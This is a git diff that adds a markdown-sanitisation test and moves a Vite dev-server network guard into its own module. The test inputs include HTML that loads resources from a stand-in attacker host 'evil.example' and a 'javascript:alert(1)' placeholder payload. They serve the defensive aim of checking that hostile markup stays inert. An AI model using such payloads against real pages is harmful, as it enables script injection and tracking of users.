--- a/src/features/markdown/ui/markdown.test.ts
+++ b/src/features/markdown/ui/markdown.test.ts
@@ -62,6 +62,25 @@ describe("Markdown", () => {
     ).toBeInTheDocument();
   });
 
+  it.each([
+    false,
+    true,
+  ])("keeps non-image HTML inert before and after image consent (streaming=%s)", async (streaming) => {
+    const { container } = render(Markdown, {
+      props: {
+        text: '<div style="background:url(https://evil.example/bg)"><video poster="https://evil.example/poster" src="https://evil.example/video"></video><svg><image href="https://evil.example/svg" /></svg><input type="image" src="https://evil.example/input"><img src="https://evil.example/allowed-after-click"></div>',
+        streaming,
+      },
+    });
+    expect(container.querySelector("video,svg,input,[style],img")).toBeNull();
+    await fireEvent.click(screen.getByRole("button", { name: "Load image from evil.example" }));
+    expect(container.querySelectorAll("img")).toHaveLength(1);
+    expect(container.querySelector("img")?.getAttribute("src")).toBe(
+      "https://evil.example/allowed-after-click",
+    );
+    expect(container.querySelector("video,svg,input,[style]")).toBeNull();
+  });
+
   it("rejects an unsafe URL in a forged placeholder", async () => {
     const { container } = render(Markdown, {
       props: { text: '<button class="remote-image" data-src="javascript:alert(1)">Load</button>' },
diff --git a/vite.config.ts b/vite.config.ts
index 4a74b9b..4a45c51 100644
--- a/vite.config.ts
+++ b/vite.config.ts
@@ -11,27 +11,17 @@ import { svelteTesting } from "@testing-library/svelte/vite";
 import { defineConfig, type Plugin, type UserConfig } from "vitest/config";
 import {
   buildAllowedHosts,
-  checkDevRequest,
   type DevNetworkPolicy,
   normalizeHost,
-  normalizeHostHeader,
   tailscaleSelf,
 } from "./scripts/network-policy";
+import { applyViteNetworkPolicy } from "./scripts/vite-network-guard";
 
 async function secureDevConfig(config: UserConfig, serving: boolean): Promise<UserConfig> {
   // Build/test have no listener and need no subprocess or DNS effects.
   if (!serving) return config;
   const network = await detectDevNetworkPolicy();
-  return {
-    ...config,
-    plugins: [devNetworkGuard(network), ...(config.plugins ?? [])],
-    server: {
-      ...config.server,
-      allowedHosts: [...network.allowedHosts],
-      // Safe reflection: our guard rejects disallowed Origins before Vite's CORS.
-      cors: { origin: true },
-    },
-  };
+  return applyViteNetworkPolicy(config, network);
 }
 
 async function detectDevNetworkPolicy(): Promise<DevNetworkPolicy> {
@@ -75,53 +65,6 @@ async function detectDevNetworkPolicy(): Promise<DevNetworkPolicy> {
   return { allowedHosts, allowedAddresses: new Set(["127.0.0.1", "::1", ...self.ips]) };
 }
 
-function devNetworkGuard(policy: DevNetworkPolicy): Plugin {
-  return {
-    name: "dispatch-dev-network-guard",
-    enforce: "pre",
-    configureServer(server) {
-      const check = (req: import("node:http").IncomingMessage) =>
-        checkDevRequest(
-          {
-            localAddress: req.socket.localAddress,
-            host: req.headers.host,
-            origin: req.headers.origin,
-          },
-          policy,
-        );
-      server.middlewares.use((req, res, next) => {
-        const decision = check(req);
-        if (decision !== "ok") {
-          res.writeHead(decision.status, { "Content-Type": "text/plain" });
-          res.end(decision.reason);
-          return;
-        }
-        // Vite's own check is case-sensitive and doesn't strip trailing dots.
-        req.headers.host = normalizeHostHeader(req.headers.host ?? "");
-        next();
-      });
-      // Vite registers HMR before configureServer. Wrap (rather than prepend to)
-      // its listeners: EventEmitter otherwise continues into HMR after a denial.
-      const http = server.httpServer;
-      if (http) {
-        const upgrades = http.listeners("upgrade");
-        http.removeAllListeners("upgrade");
-        http.on("upgrade", (req, socket, head) => {
-          const decision = check(req);
-          if (decision !== "ok") {
-            socket.end(
-              `HTTP/1.1 ${decision.status} ${decision.status === 421 ? "Misdirected Request" : "Forbidden"}\r\nConnection: close\r\nContent-Length: 0\r\n\r\n`,
-            );
-            return;
-          }
-          req.headers.host = normalizeHostHeader(req.headers.host ?? "");
-          for (const upgrade of upgrades) upgrade.call(http, req, socket, head);
-        });
-      }
-    },
-  };
-}
-
 /**
  * SPIKE (plan 03) — the Svelte-runtime import map.
  *
-- 
cgit v1.2.3